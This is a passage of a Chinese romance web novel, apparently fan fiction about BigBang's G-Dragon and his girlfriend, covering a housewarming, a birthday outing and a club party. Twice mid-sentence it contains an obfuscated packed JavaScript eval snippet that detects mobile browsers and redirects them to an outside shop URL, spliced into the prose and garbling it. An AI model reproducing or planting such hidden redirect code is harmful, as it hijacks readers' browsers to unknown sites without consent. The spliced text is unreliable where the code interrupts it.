CL心思活络得多,她看着初星,又飞快地瞥了一眼至龙欧巴那副全身心都系在眼前女孩身上的专注和温柔姿态,再联想到最近至龙欧巴心情明显阴转晴的变化,以及那首在公司内几乎无人不知的《谎言》……一个大胆而合理的猜测在她脑中瞬间形成! 至龙则是伸出手,轻轻搂过初星的腰际,将她带近自己身边,正式介绍道:"怒那,彩琳,给你们正式介绍一下,"他目光温柔地落在初星脸上,再转向她们时,语气里带着显而易见的爱意,"这位是裴初星,是我女朋友。她刚搬来住。" "啊!!!"CL立刻发出充满兴奋的低呼,激动地用手捂住嘴,一副"天啊我果然猜对了!"的狂喜表情。她看向至龙,声音里充满了抑制不住的八卦兴奋和求证般的激动:"欧巴!所以!所以这位就是……就是《谎言》的……女主角?!传说中的那位?!" 朴春则慢了不止一拍,眨了眨她那双标志性的大眼睛,似乎在消化这个突如其来的信息。几秒钟后,她才后知后觉地将CL的话和脑海中的线索串联起来,嘴巴慢慢地张成了一个可爱的O型,看看初星,又看看至龙,手指惊讶地在他们之间来回指着,“莫?!《谎言》?啊!难怪我觉得好像哪里看过!至龙你之前……"她说到一半,突然意识到可能提到了不该提的敏感话题,赶紧用手捂住了嘴,但那双大眼睛里已经充满了巨大的好奇和一种"原来如此"的兴奋光芒。 看着两人截然不同却都精彩无比的反应,至龙骄傲的补充:“而且,初星不是练习生,她是弘益大学的学生,学室内与空间设计的。" CL睁大了眼睛,脸上露出更加佩服的神情:"啊!还是弘益大学的!好厉害!" 朴春呆呆地点头,“设计……啊,是设计师吗?好适合漂亮的孩子……” 胜利得意地插嘴,“没错没错!我们初星怒那可是高材生!跟我这个''练习虫''可不一样!” 初星被弄得有些不好意思,脸颊微微泛红,但更多的是有趣和温暖,尤其是朴春那呆呆的、后知后觉的可爱样子,让她忍不住莞尔。她笑着招呼道:"别都站着了,坐吧,正好一起吃点东西,喝点饮料。" CL乖巧又兴奋地说:"嫂子好!我是CL李彩琳!我终于见到真人了!” 朴春也赶紧跟上,虽然还是有点懵懵的,“啊,初星你好,我是朴春!欢迎搬来和我们做邻居!太好了……真是太好了……" 暖房聚会的气氛变得越来越热烈融洽。胜利是个闲不住的主,很快就提议玩点简单的互动游戏,输的人喝饮料或者接受无伤大雅的小惩罚。 大家围坐在客厅柔软的地毯上,初星又拿来更多的靠垫和坐垫。至龙紧挨着初星坐下,初星也逐渐在轻松的氛围中放松下来,被CL和胜利逗得笑靥如花,时不时靠在至龙身上。 玩了几轮游戏,气氛正酣时,门铃又“叮咚”响了一声。 至龙起身去开门,门外站着的是身着笔挺制服、戴着洁白手套的楼层专属管家,恭敬地站在一辆摆放着精致甜点和小吃的餐车后面。 “您预定的餐点送到了,祝您和朋友们用餐愉快。”管家微微鞠躬,将餐车平稳地推进屋内,便礼貌地悄声告退。 “哇!至龙哥万岁!太懂我们了!”胜利第一个欢呼起来,扑向餐车,眼睛放光。大声和永裴也笑着道谢,崔胜铉的目光在甜点上扫过。 至龙精准地伸向那块颜色清新、层次分明的抹茶千层蛋糕。立刻递到初星面前,另一只手顺手地将她放在桌上边缘处的果汁杯往内侧推近了些,防止不小心打翻。 第一次见识到这场面的CL看得目瞪口呆,用手肘碰了碰旁边的朴春,咂舌道:“春欧尼!快看!至龙欧巴他……他这服务……啧啧啧,而且是让楼层管家送上来的!” 朴春愣愣地点头,小声回应,“啊……原来至龙说的‘很喜欢’是这样的啊……他给我们分零食……都是直接扔过来的……还得我们自己抢……还有这种送餐服务……好厉害……” 胜利听到她们的窃窃私语,扭过头,塞着一嘴食物,见怪不怪地含糊说道:“这算什么?基操勿六。你们还没见过更夸张的呢。”说完,他又转回头投入到与鸡翅的“战斗”中。 崔胜铉从马卡龙上抬起眼,淡淡地补充了一句,“嗯。他没救了。” 至龙这才发现她们聚焦在他身上的目光,无辜的看向她们:“怎么了?她喜欢抹茶味很久了,这又不是什么秘密。”说完,他又抽出纸巾擦掉初星嘴角不小心沾到的奶油,动作熟练无比,眼神温柔。 聚会的喧嚣和欢声笑语渐渐散去,朋友们都陆续告别离开了,屋内恢复了宁静,只剩下满室残留的食物香气、略显凌乱的客厅和空气中弥漫的温馨余韵。 至龙挽起袖子,开始收拾“战场”。动作麻利,没有一丝不耐烦,仿佛收拾他们共同创造的这个小小混乱,也是幸福的一部分。 正当他擦完茶几,直起身,舒了口气时,主卧室的门“咔哒”一声开了。初星穿着柔软的浅色棉质睡裙,毛巾擦拭着还在滴水的长发走了出来坐在沙发上。脸上带着被热气蒸出的红晕,皮肤水润光滑,眼神清澈。 至龙立马放下抹布,从她手中接过毛巾,帮她擦拭着湿漉漉的头发。初星也顺从地微微低下头,闭上眼睛,享受着他的服务,像一只被顺毛的猫咪。 空气中弥漫着初星身上淡淡的沐浴露香气,混合着至龙身上的浅香,营造出一种温馨而宁静的亲密氛围。至龙手上的动作轻柔,但他的思绪却不由自主地飘回了不久前的夜晚。 他几不可闻地叹了口气,擦拭头发的动作未停,声音却有些严肃:“娜比啊……” “嗯?”初星舒服地闭着眼,从鼻腔里发出一个慵懒的单音。 “下次……”至龙斟酌着词语,“答应我,不要再喝那么多酒了,好不好?尤其……不要和珍雅两个人就去那种地方,太不安全了。龙蛇混杂,万一……万一我没能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812511|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及时赶到,或者出了什么意外……” 他似乎又想起了什么,委屈的控诉:“还有……你之前答应过我,穿那种……嗯……显身材的衣服,必须要有我在场陪着才可以的。” 初星听到他提起这个,缓缓睁开眼,仰起头看他,湿发的水珠顺着脖颈滑落。 “哦?”她微微挑眉,“某人是不是也答应过我,要戒烟的呢?”她可不是那么容易被“说教”的。 至龙擦拭头发的动作明显顿了一下,脸上闪过一丝猝不及防的尴尬。 初星手指轻轻戳了戳他的胸口,乘胜追击,“别以为我那天早上没闻到你身上的烟味哦,权至龙先生。”她凑近一点点,故作严肃地皱了皱鼻子,“味道还挺重,看来我们分开那段时间,没少抽吧?” 至龙握住她戳在自己胸口的手指,包裹在掌心,无奈地笑了笑,坦诚道:“……米亚内~之前……那段时间,心里太难熬了,像空了一个大洞……没忍住,又……又捡起来了。” 但他很快抬起头,看着她的眼睛,“但我发誓,从我们和好那天起,我就再也没碰过一支烟!真的!我保证!” 她反手握住他的手,指尖在他手背上轻轻摩挲着,“阿拉搜,以前的事……不提了。以后我们都说话算话,好不好?我不再单独去那些危险的地方,也不乱喝酒让你担心。你也要好好的,不准再抽烟了,对身体不好。” “嗯!”至龙用力地点头,一把将她紧紧地搂进怀里,下巴眷恋地蹭着她散发着清新香气的湿发,“说话算话!拉钩!一百年不许变!” 初星闷闷地笑了出来,笑声振动着他的胸膛:“幼稚鬼!都多大了还拉钩上吊……” 但她还是伸出小手指,和他的勾在一起,轻轻晃了晃。 温存了片刻,初星揉了揉有些发涩的眼睛,“好啦,不早了,有点困了,你也快回去休息吧,明天不是还有行程吗?” 至龙搂着她的腰不肯放,把脸埋在她颈窝里蹭了蹭,“娜比……我能不能……今晚不回去了?”他抬起头,亮晶晶地望着她,举起三根手指保证,:我睡次卧!就只是睡觉!我绝对、绝对不会打扰你!真的!就是……不想离你太远……想确认你安稳地睡下……”他的理由听起来冠冕堂皇,充满了关心,但眼底那份炽热的期待和渴望,几乎要化为实质流淌出来。 初星看着他极力争取“留宿权”的样子,笑了出来,眼睛弯成了好看的月牙儿。伸出手,拍了拍他温热的脸颊,温柔得像是在哄孩子,但拒绝得却毫不犹豫:“想得美~” 下一秒,她话锋一转,眼中闪过小恶魔般的光芒,又重重戳了戳他的胸口,宣布了“判决”:“这就是对你偷偷抽烟的‘小小惩罚’~乖乖回楼上去睡。反省一下。” “啊~娜比……不要嘛……我知道错了……真的……”至龙垮下脸,抱着她开始耍无赖,把全身的重量都赖皮地靠在她身上,哼哼唧唧地撒娇,试图用软磨硬泡瓦解她的决心,“保证没有下次了……啊~我发誓!让我留下来嘛……次卧空着也是空着……我很安静……” 初星才不吃他这一套,心意已决。态度坚决地把他往门口推:“昂对,惩罚就是惩罚!快回去啦!” “娜比……老婆……世界上最善良的娜比……”至龙试图做最后的挣扎,用甜言蜜语“感化”她。 “乱叫什么!”初星脸上飞起一抹红晕,手上推他的力道却一点没减,反而更坚定了,“快走快走!再不走我要生气了哦!” 最终,至龙还是敌不过初星的决心和力道,被她一路半推半搡地“请”到了门口。初星拉开房门,对着安静的走廊做了一个“请”的手势。 至龙耷拉着脑袋,肩膀也垮了下来,可怜巴巴地望着她,“那……晚安?做个有我的好梦?” “晚安~”初星笑着冲他挥挥手,“你也做个好梦哦~梦里记得反省!” 然后,不等他再说什么肉麻的话或者找借口拖延,她便将门关上了,甚至还清晰地听到了“咔哒”一声反锁的轻响! 至龙对着紧闭的房门,无奈地叹了口气,抬手揉了揉眉心。但很快,那抹无奈就被更深的笑意取代。虽然被“惩罚”了,被关在了门外,但这种带着甜蜜亲昵的嬉笑打闹,这种被她“管着”、被她放在心上的感觉,不正是他失而复得、梦寐以求的吗?他摸了摸鼻子,转过身,脚步轻快地走向楼梯,乖乖地回去了。走廊的灯光将他的影子拉长,那背影里,没有失落,只有满满的幸福和期待。 57.第 57 章 伴随着《谎言》的爆红,Bigbang的人气坐上了火箭般蹿升。随之而来的,是疯狂的通告和行程,密集得让人喘不过气。而后又一举拿下了2007年MKMF颁奖礼的男子组合奖和年度歌曲大奖,风头一时无两。 初星理解他对音乐的执着和梦想,真心为他取得的成就感到骄傲。但看着电视里他日益消瘦的脸庞和掩饰不住的疲惫,听着电话里他沙哑的嗓音和匆匆挂断的忙音,失落感如同潮湿的雾气,无声无息地弥漫心头,挥之不去。尤其是一个月前,他们约定要一起庆祝的恋爱三周年纪念日,至龙因为海外行程而错过,只匆匆发来一条简短的信息道歉,连一通电话都没有。这件事,萦绕在初星心口,让她耿耿于怀。 明天,12月13号,就是她的生日了。她和胜利之前约好了今年也要一起过,美其名曰“难姐难弟”的相互取暖。如今Bigbang爆火,社长大手笔地包下了一家club,将派对定在了明晚,同时庆祝两个人生日和bigbang庆功宴。初星心里是有些期待的,会有很多熟悉的朋友到场,应该会很热闹好玩。 手机屏幕亮起,是至龙的信息。 【娜比,睡了吗?明天……】信息只打了半句,后面是令人心悬的省略号,透露出打字人的犹豫和难以启齿。停顿了好一会儿,下一条信息才姗姗来迟:【明天有个临时追加的采访……很重要,推不掉。派对我尽量赶过去,好吗?】 初星盯着这条信息,心里那股憋了许久的委屈、失望和不被重视的火气,“噌”地一下窜起,烧得她眼眶发热!又来了!又是这样!临时工作!尽量赶过去?! 连承载着三年回忆的纪念日都没空的人,果然对她的生日也不会上心!她甚至能残忍地想象出明天晚上的画面:她一个人穿着精心挑选的裙子,局促地站在喧嚣热闹的派对中央,周围是欢声笑语的朋友们,她却要强颜欢笑,一遍又一遍地向每个询问的人解释:“至龙他……还在忙工作,一会儿就来……” ,然后从满怀期待到渐渐失落,从派对开始等到灯火阑珊,最后可能只能等到他一个匆匆出现、带着满脸倦容的身影,和一句苍白无力的“对不起,我来晚了”。那种被置于次要位置、在期待中煎熬的感觉,比这场派对更让她感到难堪和心痛! 她用力地将手机“啪”地一声扣在冰凉的桌面上,仿佛那样就能隔绝掉这条令人心烦意乱的消息,也隔绝掉那份令人失望的可能性。 她不想回复,一个字都不想。 任何回应在此刻都显得多余。 手机并没有因此安静下来。几秒钟后,它就在嗡嗡地震动起来,屏幕在黑暗中执着地闪烁着他的名字 初星看着屏幕上那个不断跳动的名字,烦躁的不理睬。她想起去年生日,虽然简单,却充满了温馨。至龙一整天都陪着她,和队员珍雅一起,一群人就在宿舍里闹哄哄地切蛋糕、打打闹闹,快乐是那么纯粹而触手可及。那时候,即使他也忙,但他的陪伴是完整而确定的。对比此刻这条充满了变量的信息,委屈和失落加倍涌来,仰起头看着天花板,眼眶含着雾气。 电话铃声不知疲倦地响着,一遍又一遍,在寂静的房间里格外吵,最终,愤怒占据了上风。初星伸出手,狠狠地设置了静音。 世界清静了。屏幕暗了下去,房间陷入死寂。初星独自坐着,胸口起伏,又气又难过。 然而,这份寂静并未持续太久。门口突然传来了急促却明显被刻意放轻的敲门声,“咚咚咚”,紧接着是至龙压低嗓音的呼唤,“娜比?娜比?你睡了吗?开开门好不好?我刚刚结束行程,从公司直接跑回来的……娜比?” 初星犹豫着,内心挣扎,但终究抵不过那份心软和对他的担心。走过去,迟疑地打开了门。 门外,至龙带着一身室外深夜的凛冽寒气站在那里。他身上还穿着华丽的舞台服装,外面随意套了件厚重的黑色羽绒服,拉链都没完全拉上。眼下的乌青在走廊灯光下更加明显,头发也有些凌乱。他看到初星安然无恙地站在门内,他先是明显地松了一口气,随即脸上又浮现出一种混合着小心、试探和一丝……得意?的复杂表情。 “你怎么……”初星话还没说完,就被至龙轻轻却不容拒绝地推进了屋里。他反手迅速关上门,将寒冷的夜色隔绝在外。 “米亚内~娜比!先听我说!”他抢先开口,还带着一路跑来的微喘,但那双眼睛却亮得惊人,“我骗你的!那个什么鬼临时采访,我硬推掉了!” 他双手轻轻握住她的肩膀,“明天!一整天!从早到晚!我全部空出来了!没有任何工作!就我们两个人!” 他像是献宝一样,迫不及待地描绘着他的计划,“白天,我们去第一次约会去的那个游乐场!去坐旋转木马,你要坐多久就坐多久!我们把所有你想玩的刺激项目都玩个遍!吃超大号的棉花糖,还有你最喜欢的那个卡通造型冰淇淋!直到你玩得尽兴为止!” “然后,晚上!”他继续说道,眼神熠熠生辉,“我们再一起去社长办的那个派对!我们手牵着手,一起准时出现在大家面前!整个晚上,你想玩到多晚就玩到多晚,想跳舞就跳舞,想喝酒……嗯,适量喝酒,或者如果你想早点离开这个吵闹的地方,我们就悄悄溜走!回来看电影或者干脆睡觉!明天,一切由你说了算!你是唯一的指挥官!” 他一口气将计划和盘托出,像个等待表扬的孩子,一眨不眨地看着她,紧张地等待着她的反应,生怕错过她任何一丝的变化。 初星愣住了,看着眼前这个深夜急匆匆跑来的男人。 原来……他记得。他不仅记得,还计划好了这一切。 她鼻子一酸,又想哭又想笑,最后只是用力捶了一下他的胸口:“权至龙!你吓死我了!我以为你又……” 至龙紧紧地抱住她:“对不起,对不起……再也不会了。以后每一个重要的日子,我都尽量在你身边,好不好?” 初星在他怀里点了点头,脸颊贴着他还带着夜寒气的羽绒服,“嗯。说话算话。” 至龙感受到她身体的放松和话语里的软化,整个人都轻松了起来。他松开她,捧起她的脸,轻柔地擦去她眼角残留的湿意,低头看着她的眼睛,认真地确认道:“那……说好了?我们一早就出发去游乐场,赶在第一批入园,避开人流,玩个痛快?” “好。”初星应着,眼睛里重新闪烁起期待的光芒。那些盘踞在心头的阴霾,被他这深夜的突然出现和这份完整而用心的计划彻底驱散了,心里充满了阳光。 “哦,对了,”至龙手忙脚乱地在羽绒服口袋里摸索着,掏出了一个系着精致蝴蝶结的小盒子,郑重地递到她面前,“生日礼物。现在就想给你。” 初星惊讶地看着那个小盒子:“不是明天才……” “等不及了,”至龙打断她,语气有点撒娇,“而且,我想第一个祝你生日快乐。” 他说着,指了指墙上刚刚跳过凌晨12点的时钟。 初星打开盒子,里面是一个原木画框,保护着里面的内容。她借着灯光,看清画框里的内容时,呼吸骤然一滞。 那不是照片,而是一幅细腻的素描。 画的是她。 画中的她,正安详地趴在练习室外的长椅上睡着了。线条勾勒出她柔和的侧脸轮廓,垂下的眼睫在脸上投下淡淡的扇形阴影,连几缕散落在颊边的发丝都描绘得丝丝分明,仿佛能感受到它们的柔软。画纸的右下角,还有一个熟悉的“G.D”签名和清晰的日期。 “你……你什么时候画的?”初星惊讶地抬头看他。 至龙有点不好意思地摸了摸鼻子:“就……有一次练习结束很晚,出来看到你睡着了,没忍心叫醒你。等的时候,就画了。” “谢谢……”初星的手指轻轻拂过画框玻璃,心里被填得满满的。 “你喜欢就好。”至龙看着她感动的样子,心里比拿了任何大奖都满足。 两人又低声聊了几句明天的细节,至龙看着初星脸上有了倦意,不舍地说道:“很晚了,娜比快点休息吧,明天还得早起去玩呢。” 他揉了揉她的头发,“我上去了。” “嗯,”初星点点头,送他到门口,“晚安。” “晚安,我的寿星。”至龙飞快地在额头上印下一个温暖的吻,才依依不舍地转身离开。 关上门,初星背靠着冰凉的门板,手里紧紧握着那个小小的画框,脸上是藏也藏不住的幸福笑容。 第二天一早,初星就自然醒了。或许是心中充满了期待,她难得没有赖床,心情雀跃地跳下床,在衣柜前精挑细选,搭配了一身轻便舒适又不失可爱活力的运动休闲装,精心化了一个淡雅清新的裸妆,让整个人看起来气色很好。 不到九点,门铃就清脆地响了起来。门外站着至龙,穿着低调的连帽卫衣和同色系运动长裤,外面套着简单的黑色短款棉服,头发柔软地搭在额前,显得随性年轻。脸上赫然戴着一个黑色的口罩,严严实实地遮住了大半张脸,只露出一双眼睛。即使如此,他眼底那份期待和愉悦依旧清晰可见。 “娜比早上好!准备好了吗?”他闷闷的声音从口罩里传出来,把一杯拿铁递给她。 初星看着他这副“全副武装”的样子,笑了出来,接过咖啡:“早上好!至于吗?工作日游乐场人应该不多吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812512|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “以防万一嘛,”至龙拉着她的手走进电梯,“我现在出门戴口罩都快形成肌肉记忆了,不戴反而觉得像没穿衣服一样不自在。”他的语气带着点无奈的自嘲,但更多的是已经习以为常的坦然。毕竟爆红之后,他这张脸的辨识度呈几何级数增长,走到哪里都更容易引发围观。 * 车子平稳地驶向游乐场。果然如初星所料,游乐场门口门可罗雀,入园的游客稀稀拉拉,大多是一些带着幼童的家庭或者零星几对看起来像是学生的年轻情侣。 但至龙还是没有摘下口罩的打算。只有在周围确定空无一人,或者背对着主要通道的时候,他才会像做贼一样拉下口罩喝一口咖啡,又迅速戴回去。 玩项目的时候,情况稍好一些。尤其是在一些室内场馆或者不那么刺激、需要安静排队的项目时,他也能稍微放松一点警惕。坐旋转木马时,他选择了初星旁边的那匹白色骏马,趁着梦幻的音乐响起、五彩的灯光旋转闪烁,周围的人都沉浸在童话般的氛围中时,他会偷偷拉下口罩,对着初星做出各种滑稽的鬼脸,用清晰的口型无声地对她说“生日快乐!我的公主!”,引得初星忍俊不禁,笑声清脆。 在玩射击游戏赢奖品时,因为需要瞄准,他不得不将口罩稍微拉下一点,用下巴和颧骨抵住玩具枪的枪托,神情专注得像在完成一件艺术品。摊位的大叔多打量了他几眼,至龙察觉到了,身体微微紧绷。幸好初星机灵,在旁边指着最高处的那个巨大草莓熊玩偶,夸张地大声惊呼:“哇!快看那个!好可爱啊!欧巴你能赢到吗?”,成功转移了大叔的注意力。最后,至龙凭借出色的专注力,成功赢下了那个最大的草莓熊,塞到初星怀里时,他笑成眯眯眼,显然对自己的“战果”非常得意。 中午,他们找了主题餐厅吃午餐,特意选了一个最角落的、有绿植半遮挡的卡座。在这里,至龙才放心地摘下口罩,挂在一边,长长地舒了一口气。 “玩了一上午,累不累?”他问道。 “一点都不累!超级开心!”初星脸上洋溢着运动后的健康红晕和兴奋的光彩,“就是……委屈你了,要一直戴着口罩,喝水吃东西都不方便。” “这有什么好委屈的,”至龙不在意地摇摇头,把切好的牛排放到她面前,眼神温柔,“看你玩得这么开心,我怎么样都无所谓。而且,晚上去派对就不用躲藏了,可以光明正大地站在你身边,告诉所有人,今天我是陪你过生日的。” 提到晚上热闹的派对,初星的眼睛又亮了起来,充满了期待。 下午,阳光变得柔和,他们又悠闲地玩了一些轻松的项目,还在主题拍照点拍了很多搞怪又亲密的照片,留下了许多快乐的瞬间。直到夕阳西下,天边染上绚丽的橘红色,两人才心满意足地离开。 回到车上,至龙细心地帮初星系好安全带,看着身边抱着那个几乎和她半个人一样大的玩偶的初星,轻声问,“生日的白天部分,到此结束。寿星大人还满意吗?权导游的全程陪同服务,能打几分?” 初星凑过去飞快地在他脸颊上亲了一下,留下一个带着冰淇淋甜香的吻,“满分!一百分!谢谢世界上最棒的权导游!现在,出发去下一个目的地吧!先去陪我换衣服,启动!” 至龙笑着,心满意足地发动了车子,平稳地驶向华灯初上、夜幕初垂的城市。 他们却并不知道,这一整天,两人在游乐场内亲密互动的种种画面,都被不远处,隐藏在人群中的镜头,悄悄地捕捉了下来。这些照片很快被发送到了一个匿名的网络聊天室内。 [阿西!就这么爱吗?!为了给她过生日,硬推掉了今天所有行程!] [这都过去多久了?为什么他们还没分手?!不是早就分过一次了吗!] [明明是那个女人先甩了他的!权至龙简直是个彻头彻尾的西八恋爱脑!都被甩了还这么眼巴巴地凑上去,贱不贱啊!] [真服了,分手那段时间跟他,整天一副“没有她我就要死了”的丧气样。和好了,每天跑行程累得像狗,但只要人在国内,晚上必定回那个宿舍!别以为我不知道那栋楼里现在住着谁!] [欧巴!你能不能收敛一点?我想假装看不见都不行!非要这么明目张胆吗?] [算了,无所谓了,看开了。有好听的新歌听就行,我管他私生活怎么样。] [要是他能因为谈恋爱多写出几首像《谎言》那样的神曲,这一切我就勉强当做没看到。] [我们这些粉丝每天都要自发地帮他打掩护,清除各种路透,他是不是还认为自己隐藏得天衣无缝啊?权至龙!下次给我收敛点!] 58.第 58 章 车子平稳地驶向夜店,窗外的风景逐渐被流光溢彩的霓虹灯牌取代。与白天游乐场那种闲适自在的氛围截然不同,街道两旁早已蹲守了不少粉丝和记者,长枪短炮在夜色中闪着冷冽的光。 至龙熟练地将方向盘一打,驶入一条相对僻静的侧路,车子悄无声息地滑入地下停车场,完美避开那片拥挤与喧嚣。 “准备好了吗?”至龙侧过头看向初星。 初星漫不经心地整理着裙摆,“嗯,快点啦,我都等不及要感受真正的派对气氛了。” 两人从专用电梯直接进入夜店内部。电梯门一开,震耳欲聋的音乐声和鼎沸的人声瞬间将两人包裹。 “这才像样嘛。”初星伸手挽住至龙的手臂,仰头对他笑道,“今天我要玩到尽兴哦,你可不能提前带我走!” “哦!哥和初星怒那来了!”眼尖的胜利第一个发现了他们,像只花蝴蝶般从人群中穿梭而来。他今天打扮得格外闪亮,浑身缀满亮片,“怒那!祝我们生日快乐!生日粗卡哈密达!”他大声喊着,送上一个大大的拥抱。 其他朋友也笑着围了过来,纷纷送上生日祝福。珍雅也从旁边挤了过来,亲热地抱住初星的胳膊:“初星!生日粗卡!白天玩得开心吗?” CL好奇地大声问:“初星欧尼!生日粗卡!听说至龙欧巴在游乐场给你赢了个超大的玩偶?” 初星炫耀地点头,“对啊!超级大!不过放在宿舍了,带来派对不太方便。” 朴春拉着她的手,“初星啊,来给你介绍两个好朋友!”说着就把正在一旁聊天的Dara和敏智拉了过来。 初星开心地和她们聊起来,很快就融入了她们姐妹圈的氛围。 这时至龙轻轻揽过初星的肩,指向不远处:“来,带你见个人。” 杨社长朝他们走来,至龙低声说:“这是我们社长,他早就知道你了,还说想见见是什么样的女孩能让我这么……嗯,神魂颠倒。” 初星收敛了些许活泼,微微躬身:“社长nim ,您好,我是裴初星。” 社长眼中闪过惊艳,半开玩笑半认真地说:“初星有没有想过当练习生?这张脸完全是天生的艺人啊。” 至龙立即把初星往自己身后护了护,笑着摇头道:“社长,这可不行。娜比是要被好好捧在手心里宠着的,怎么能让她去吃练习生那种苦?” 初星在至龙身后娇纵地轻笑一声,“当爱豆多累啊,每天练习到凌晨,还要管理身材不能随便吃好吃的,至龙你说是不是?” 社长被两人这一唱一和的反应逗笑了,摆摆手:“好好好,看来是我想错了,今晚玩得开心。” 派对的氛围越来越热,灯光却“啪”一声全部熄灭,只留下一束追光灯。音乐切换成生日歌,一个巨大的双层蛋糕被缓缓推了出来。蛋糕顶部,用巧克力酱极其细腻地绘制了两个栩栩如生的Q版小人画像:一个是扎着马尾、笑得眼睛弯成月牙的初星,另一个则是做着“我爱你”手势、活力四射的胜利。 "哇——!"全场响起欢呼声和掌声。 大声拿出相机开始录像,镜头精准地对准了两位寿星。"来来来,寿星们说两句感言!" 胜利夸张地用手捂住心脏部位,对着镜头挤眉弄眼:“Ayo!Everyone!这里是你们最可爱的胜利!今天是最帅气的我和最美丽的初星怒那的生日派对,希望我们BigBang永远像宇宙大爆炸一样,能量无限,闪耀整个宇宙!永远Bang Bang Bang!撒浪嘿哟!” 镜头转向初星,她甜甜的笑着:“谢谢大家今天来为我庆祝生日,我真的很开心……我希望,嗯……希望十年后的今天,还是我们这群人,大家还能像现在这样,聚在一起,无忧无虑地开怀大笑。” 至龙的身影突然从旁边探出头来,他环住初星的肩膀,直视着镜头,“不管多少年,我肯定都在。”周围立刻响起一片尖叫声。 在众人的起哄声中,至龙快速地在初星脸颊上亲了一下。初星惊讶地捂住脸,脸颊到耳根瞬间红透,而周围的朋友们爆发出更大的尖叫声和欢呼声。 胜利酸溜溜地大叫:“呀!今天也是我的生日啊!怎么没人给我一个祝福之吻!我也要!” 大声笑着把镜头转向他,添油加醋:“胜利啊,你想要谁的爱心之吻?说出来,让哥哥们帮你实现!” 胜利戏瘾十足,对着镜头抛媚眼:“全国的VIP们!看到没有!你们的可爱小胜利在生日这天被公然虐狗!我需要爱的抱抱和亲亲来安慰我受伤的心灵!” TOP掀起眼皮吐槽道:“你确定你这样子播出去,大家是给你亲亲,而不是集体要求你冷静一点顺便脱粉回踩吗?” 永裴笑着出来打圆场,“好了好了,再闹蛋糕都要化了,该切蛋糕了!” 工作人员递上切蛋糕的刀,胜利和初星一起握住了刀柄。在大家的生日歌声中,两人相视一笑,默契地切下了象征祝福的第一刀。 “生日粗卡!Happy Birthday!” 全场再次欢呼,五彩的彩带和亮片从空中喷射而下,纷纷扬扬地洒落在每个人的身上。 随后,音乐切换成了更加激烈的旋律,胜利不知何时已经窜到了DJ台上,戴着耳机,有模有样地跟着节奏打着碟,还不时对着台下飞吻,调动着全场的气氛。永裴也拿起了麦克风唱着歌,嗓音动听而富有感染力,引得台下阵阵欢呼。 初星和志龙在舞池边随着音乐轻轻摇摆,洙赫不知什么时候也凑到了他们身边。洙赫也端着酒杯凑到了他们身边,跟着节奏微微点着头,很是惬意。 永裴唱到副歌部分时,洙赫跟着旋律哼唱起来。然而调子跑得十分离谱,直接从原调滑向了未知的领域,歌词也唱得含糊不清,效果十分“感人”。 初星没忍住笑了出来,赶紧抬手捂住嘴,肩膀因为忍笑而微微抖动。 “洙赫欧巴,”她转过头,“以后……以后咱们还是安心用你那张无可挑剔的脸来‘征服’世界吧。唱歌这种拯救人类听觉的艰巨任务,还是交给他们这些专业人士比较好。” 正淡定喝酒的TOP,听到这句精准无比的吐槽,一个没忍住,直接笑喷了,呛得连连咳嗽,手忙脚乱地找纸巾擦拭着衣服。至龙更是笑得整个人都歪倒在了初星肩上,手臂环着她的腰,额头抵着她的肩膀,边笑边补刀,“我们娜比……哈哈哈……说得太对了!洙赫啊,你就安安静静地帅着,歌坛……暂时真的不需要你去拯救了,求放过!” 洙赫故作受伤地捂住心脏位置,“呀!你们这群人!太伤我心了!这样会失去我这个门面担当的!”但自己也没忍住笑了出来,“好吧好吧,我认清现实了,我的 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至龙抬手招来附近的服务生。不一会儿,服务生就端来一杯酒。透明的玻璃杯里盛着梦幻的粉红色液体,插着一把精致的小纸伞,杯沿还装饰着一颗鲜红欲滴的草莓,边缘缀着一圈细密的糖霜,在朦胧灯光下显得格外诱人。 “哇,好漂亮!”初星开心地接过,小口啜饮起来。 至龙突然站起身,吻了吻她的额头,“在这等我一下,还有个礼物要给你。”说完,他便走向舞台。 灯光追随着他的身影,志龙从永裴手中接过麦克风,望向初星的方向,眼神温柔得能溺死人,声音通过麦克风传遍整个空间,却仿佛只对她一人诉说: “今天,是我最珍贵的女孩的生日。我写了一首歌,想唱给她听。” 陌生的前奏缓缓响起,他的目光始终没有离开初星,歌声温柔而深情: [我爱你我记着你heaven……] [我等了又等,一直做着你成为我另一半的梦……] [快乐、悲伤、泪水、天空、星星……] 初星惊讶地捂住嘴,眼眶都红了。 至龙继续唱着: [你比天堂还要美丽……] [我的生活里全是你的存在……] [我的电话不知何时只能看到你的名字……] [亲吻你,好像得到了全世界……] [我心的天国之门只为一人……] [我爱你呼唤着你记着你等着你……] 最后一个音符缓缓落下,至龙看着初星:“这首歌,为你而写。生日快乐,my heaven!” 初星的被感动的说不出话来,眼泪顺着脸颊滑落。在所有人的欢呼声中,至龙快步走下舞台,穿过人群,将她坚定地拥入怀中。 “喜欢这个礼物吗?”他低头,紧张而期待在她耳边问。 “喜欢……这是最好的礼物……谢谢你,至龙。”初星抬起泪眼朦胧的脸,主动踮起脚尖,在他唇上印下一吻。 胜利假装擦拭根本不存在的眼泪,夸张的哭腔大声说:"太感人了!呜呜呜……明年我生日也要这样的礼物!至龙哥你不能偏心!"他浮夸的表演冲淡了过于煽情的气氛,惹得刚刚还感动不已的众人顿时笑出声来。 